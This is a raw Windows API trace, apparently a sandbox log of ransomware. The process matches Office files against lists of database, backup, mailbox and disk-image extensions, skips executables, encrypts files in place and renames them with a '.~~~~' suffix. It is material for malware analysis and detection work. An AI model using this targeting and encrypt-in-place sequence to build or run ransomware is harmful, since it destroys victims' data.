	[0143.826] lstrlenW (lpString=".MDT") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0143.826] lstrlenW (lpString=".SQB") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0143.826] lstrlenW (lpString=".vhd") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0143.826] lstrlenW (lpString=".bac") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".bac") returned 0x0
	[0143.826] lstrlenW (lpString=".mdf") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0143.826] lstrlenW (lpString=".BAK") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0143.826] lstrlenW (lpString=".BAC") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0143.826] lstrlenW (lpString=".dbs") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0143.826] lstrlenW (lpString=".vhdx") returned 5
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0143.827] lstrlenW (lpString=".NDF") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0143.827] lstrlenW (lpString=".dat") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".dat") returned 0x0
	[0143.827] lstrlenW (lpString=".DBS") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0143.827] lstrlenW (lpString=".CKP") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0143.827] lstrlenW (lpString=".edb") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".edb") returned 0x0
	[0143.827] lstrlenW (lpString=".PST") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".PST") returned 0x0
	[0143.827] lstrlenW (lpString=".dbf") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0143.827] lstrlenW (lpString=".SQL") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0143.827] lstrlenW (lpString=".pst") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".pst") returned 0x0
	[0143.827] lstrlenW (lpString=".dbv") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0143.827] lstrlenW (lpString=".SDF") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0143.827] lstrlenW (lpString=".dtxs") returned 5
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0143.827] lstrlenW (lpString=".db3") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".db3") returned 0x0
	[0143.827] lstrlenW (lpString=".OST") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".OST") returned 0x0
	[0143.827] lstrlenW (lpString=".dbx") returned 4
	[0143.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0143.828] lstrlenW (lpString=".DB3") returned 4
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0143.828] lstrlenW (lpString=".DAT") returned 4
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0143.828] lstrlenW (lpString=".VHDX") returned 5
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0143.828] lstrlenW (lpString=".ndf") returned 4
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0143.828] lstrlenW (lpString=".DB") returned 3
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".DB") returned 0x0
	[0143.828] lstrlenW (lpString=".sql") returned 4
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".sql") returned 0x0
	[0143.828] lstrlenW (lpString=".MYD") returned 4
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0143.828] lstrlenW (lpString=".DBT") returned 4
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0143.828] lstrlenW (lpString=".ACCDB") returned 6
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0143.828] lstrlenW (lpString=".fdb") returned 4
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0143.828] lstrlenW (lpString=".bak") returned 4
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".bak") returned 0x0
	[0143.828] lstrlenW (lpString=".myd") returned 4
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".myd") returned 0x0
	[0143.828] lstrlenW (lpString=".DTXS") returned 5
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0143.828] lstrlenW (lpString=".ckp") returned 4
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0143.828] lstrlenW (lpString=".dbt") returned 4
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0143.828] lstrlenW (lpString=".db") returned 3
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".db") returned 0x0
	[0143.828] lstrlenW (lpString=".TXT") returned 4
	[0143.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0143.829] lstrlenW (lpString=".MDF") returned 4
	[0143.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0143.829] lstrlenW (lpString=".bdb") returned 4
	[0143.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0143.829] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0143.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.829] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0143.830] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.830] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0143.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0143.830] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26382014056) returned 1
	[0143.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf22e070, dwHighDateTime=0x1d60e1e)) 
	[0143.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0143.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0143.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0143.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd310
	[0143.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd310 | out: hHeap=0x300000) returned 1
	[0143.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac1d0
	[0143.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac1d0 | out: hHeap=0x300000) returned 1
	[0143.831] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0143.831] GetLastError () returned 0x0
	[0143.831] GetLastError () returned 0x0
	[0143.831] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0143.831] GetLastError () returned 0x0
	[0143.831] GetLastError () returned 0x0
	[0143.831] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0143.920] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.920] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0143.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.920] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.921] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.009] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.009] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.024] CloseHandle (hObject=0x104) returned 1
	[0144.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ac5c0
	[0144.024] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.~~~~")) returned 1
	[0144.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac5c0 | out: hHeap=0x300000) returned 1
	[0144.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0144.027] GetLastError () returned 0x0
	[0144.027] RtlWakeConditionVariable () returned 0x0
	[0144.027] GetCurrentThreadId () returned 0xaf0
	[0144.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".scr") returned 0x0
	[0144.027] lstrlenW (lpString=".cmd") returned 4
	[0144.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".cmd") returned 0x0
	[0144.027] lstrlenW (lpString=".dll") returned 4
	[0144.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".dll") returned 0x0
	[0144.027] lstrlenW (lpString=".bat") returned 4
	[0144.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".bat") returned 0x0
	[0144.027] lstrlenW (lpString=".cpl") returned 4
	[0144.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".cpl") returned 0x0
	[0144.028] lstrlenW (lpString=".sys") returned 4
	[0144.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".sys") returned 0x0
	[0144.028] lstrlenW (lpString=".msc") returned 4
	[0144.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".msc") returned 0x0
	[0144.028] lstrlenW (lpString=".com") returned 4
	[0144.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".com") returned 0x0
	[0144.028] lstrlenW (lpString=".lnk") returned 4
	[0144.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".lnk") returned 0x0
	[0144.028] lstrlenW (lpString=".msp") returned 4
	[0144.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".msp") returned 0x0
	[0144.028] lstrlenW (lpString=".pif") returned 4
	[0144.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".pif") returned 0x0
	[0144.028] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0144.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0144.141] lstrlenW (lpString=".sqb") returned 4
	[0144.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".sqb") returned 0x0
	[0144.142] lstrlenW (lpString=".ost") returned 4
	[0144.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".ost") returned 0x0
	[0144.142] lstrlenW (lpString=".txt") returned 4
	[0144.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".txt") returned 0x0
	[0144.142] lstrlenW (lpString=".mdt") returned 4
	[0144.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".mdt") returned 0x0
	[0144.142] lstrlenW (lpString=".BDB") returned 4
	[0144.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".BDB") returned 0x0
	[0144.142] lstrlenW (lpString=".eql") returned 4
	[0144.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".eql") returned 0x0
	[0144.142] lstrlenW (lpString=".DBF") returned 4
	[0144.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".DBF") returned 0x0
	[0144.142] lstrlenW (lpString=".EQL") returned 4
	[0144.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".EQL") returned 0x0
	[0144.142] lstrlenW (lpString=".FDB") returned 4
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".FDB") returned 0x0
	[0144.143] lstrlenW (lpString=".EDB") returned 4
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".EDB") returned 0x0
	[0144.143] lstrlenW (lpString=".DACPAC") returned 7
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".DACPAC") returned 0x0
	[0144.143] lstrlenW (lpString=".VHD") returned 4
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".VHD") returned 0x0
	[0144.143] lstrlenW (lpString=".DBV") returned 4
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".DBV") returned 0x0
	[0144.143] lstrlenW (lpString=".dacpac") returned 7
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".dacpac") returned 0x0
	[0144.143] lstrlenW (lpString=".sdf") returned 4
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".sdf") returned 0x0
	[0144.143] lstrlenW (lpString=".accdb") returned 6
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".accdb") returned 0x0
	[0144.143] lstrlenW (lpString=".DBX") returned 4
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".DBX") returned 0x0
	[0144.143] lstrlenW (lpString=".MDT") returned 4
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".MDT") returned 0x0
	[0144.143] lstrlenW (lpString=".SQB") returned 4
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".SQB") returned 0x0
	[0144.143] lstrlenW (lpString=".vhd") returned 4
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".vhd") returned 0x0
	[0144.143] lstrlenW (lpString=".bac") returned 4
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".bac") returned 0x0
	[0144.143] lstrlenW (lpString=".mdf") returned 4
	[0144.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".mdf") returned 0x0
	[0144.143] lstrlenW (lpString=".BAK") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".BAK") returned 0x0
	[0144.144] lstrlenW (lpString=".BAC") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".BAC") returned 0x0
	[0144.144] lstrlenW (lpString=".dbs") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".dbs") returned 0x0
	[0144.144] lstrlenW (lpString=".vhdx") returned 5
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".vhdx") returned 0x0
	[0144.144] lstrlenW (lpString=".NDF") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".NDF") returned 0x0
	[0144.144] lstrlenW (lpString=".dat") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".dat") returned 0x0
	[0144.144] lstrlenW (lpString=".DBS") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".DBS") returned 0x0
	[0144.144] lstrlenW (lpString=".CKP") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".CKP") returned 0x0
	[0144.144] lstrlenW (lpString=".edb") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".edb") returned 0x0
	[0144.144] lstrlenW (lpString=".PST") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".PST") returned 0x0
	[0144.144] lstrlenW (lpString=".dbf") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".dbf") returned 0x0
	[0144.144] lstrlenW (lpString=".SQL") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".SQL") returned 0x0
	[0144.144] lstrlenW (lpString=".pst") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".pst") returned 0x0
	[0144.144] lstrlenW (lpString=".dbv") returned 4
	[0144.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".dbv") returned 0x0
	[0144.145] lstrlenW (lpString=".SDF") returned 4
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".SDF") returned 0x0
	[0144.145] lstrlenW (lpString=".dtxs") returned 5
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".dtxs") returned 0x0
	[0144.145] lstrlenW (lpString=".db3") returned 4
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".db3") returned 0x0
	[0144.145] lstrlenW (lpString=".OST") returned 4
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".OST") returned 0x0
	[0144.145] lstrlenW (lpString=".dbx") returned 4
